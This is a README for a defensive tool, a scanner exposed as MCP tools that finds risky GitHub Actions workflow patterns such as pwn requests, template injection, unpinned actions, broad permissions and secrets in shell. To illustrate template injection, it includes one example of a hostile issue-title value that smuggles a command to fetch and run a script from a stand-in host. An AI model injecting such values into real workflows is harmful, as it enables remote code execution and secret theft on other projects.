actions-guard-mcp

A GitHub Actions workflow security scanner, exposed as MCP tools — so an agent can catch the "pwn request" and supply-chain patterns that have caused real incidents (CoreShop, tj-actions, and others) before a workflow file is committed, not after.

Why this exists

Static analysis for GitHub Actions workflows is a mature, well-understood field — zizmor is a respected, actively maintained standalone scanner for exactly this. What doesn't exist yet is a serious MCP wrapper around that class of analysis. The one project found in a broad search (github-security-mcp) spreads 45 checks across org settings, secrets, supply chain, and Actions in one generic tool — 12 stars, no commits in 5 months. Nothing focuses on workflow security specifically, deeply, as something an agent can call while it's actively writing or reviewing a workflow file.

What it catches

• Dangerous triggers (AGMCP-101) — pull_request_target or workflow_run combined with a checkout step whose ref: or repository: points at the triggering PR/run's own fork. This is the exact shape of the CoreShop incident: a workflow that runs with the base repo's token and secrets, but checks out and executes code from the fork that triggered it.
• Template injection (AGMCP-102) — ${{ ... }} expressions built from attacker-controlled context (github.event.issue.title, github.event.pull_request.title, github.event.comment.body, github.head_ref, a toJSON(github.event) whole-payload dump, and similar) interpolated directly into a run: step, rather than passed through env:. The classic shape is run: echo "${{ github.event.issue.title }}" — an issue title of "; curl evil.sh | sh # is not a string at that point, it's shell.
• Unpinned actions and reusable workflows (AGMCP-103) — uses: owner/repo@v4 (a tag or branch, both mutable) instead of a pinned commit SHA; a job-level reusable-workflow call (jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main) pinned the same mutable way; or a docker://image:tag reference not pinned to a @sha256: digest. This is the exact supply-chain surface the tj-actions incident used: a compromised tag pointed everyone using it at malicious code with no version bump.
• Excessive permissions (AGMCP-104) — permissions: write-all, or explicit broad write scopes (contents, actions, packages, ...), set at either the workflow level or a job level, on a workflow that also has a risky trigger, where a narrower scope would do.
• Secrets interpolated into shell (AGMCP-105) — ${{ secrets.X }} used directly in a run: step instead of passed through env:, which is unnecessary exposure of the raw secret value into the shell command line / process list rather than an environment variable.

All marker matching (AGMCP-101/102/105) normalizes GitHub Actions' bracket-notation property access (github.event['issue']['title']) to the equivalent dot form and matches case-insensitively, since the expression language treats both as identical.

Known limitations

This is pattern matching over the literal text of ${{ }} expressions and with:/permissions: blocks — not a full GitHub Actions expression parser or a data-flow analysis. A clean scan means "no known risky pattern found in the text as written," not a guarantee the workflow is safe. Concretely:

• No cross-step / env: data-flow tracking. A dangerous value routed through an intermediate env: variable or a step output before reaching a checkout ref: or a run: command is invisible to AGMCP-101/102/105 — only the literal expression in the field being checked is inspected.
• The attacker-controlled-context marker list (AGMCP-102) is a finite, hand-maintained set, not a real enumeration of every context path GitHub Actions exposes. A new or uncommon field can exist that isn't listed yet.

If a clean result matters for a security decision, don't treat it as the last word — zizmor does deeper, more general static analysis of the same file class and is worth running alongside this, not instead of it.

Setup

pip install actions-guard-mcp
actions-guard-mcp

No configuration needed — every tool takes a workflow file path or its raw YAML content directly.

Status

Early build.

License

MIT